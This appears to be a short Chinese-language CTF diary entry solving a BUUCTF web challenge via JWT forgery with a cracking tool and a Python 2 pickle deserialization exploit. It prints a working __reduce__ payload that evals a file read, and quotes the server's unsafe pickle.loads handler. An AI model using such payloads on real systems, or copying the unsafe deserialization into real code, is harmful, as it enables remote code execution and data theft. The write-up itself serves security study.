Buu摸鱼日记之14

 

buu摸鱼日记之14

[CISCN2019 华北赛区 Day1 Web2]ikun

被彻底吊打了,真的不会

两个知识点,一个是jwt,弄到了git的工具

jwtdebuger

以及git某大佬的工具https://github.com/brendan-rius/c-jwt-cracker

直接build就可以用,非常方便

伪造jwt来访问admin

第二个是py的反序列化

import pickle
import urllib
 
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))
 
a = pickle.dumps(payload())
a = urllib.quote(a)
print a

因为网站用的 是py2,所以说写也要用Py2

具体是根据

    def post(self, *args, **kwargs):
        try:
			become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)

我们要返回的是flag.txt的字节流,所以我们需要返回一个元组,这个元组包含两个必选的参数,第一个可调用的对象,我们这里用的eval,第二个参数,我们使用的是open(’/flag.txt’,‘r’).read()

https://blog.csdn.net/sxingming/article/details/52164249 python序列化,这个东西和php差不多

__reduce__(self)

如果pickle的数据包含了自定义的扩展类(比如使用C语言实现的Python扩展类)时,就需要通过实现__reduce__方法来控制行为了。由于使用过于生僻,这里就不展开继续讲解了。

令人容易混淆的是,我们知道, reduce()是Python的一个內建函数, 需要指出__reduce__并非定义了reduce()的行为,二者没有关系。

今天还玩了一下反弹shell,老有意思了

https://xz.aliyun.com/t/2549写的非常好,i了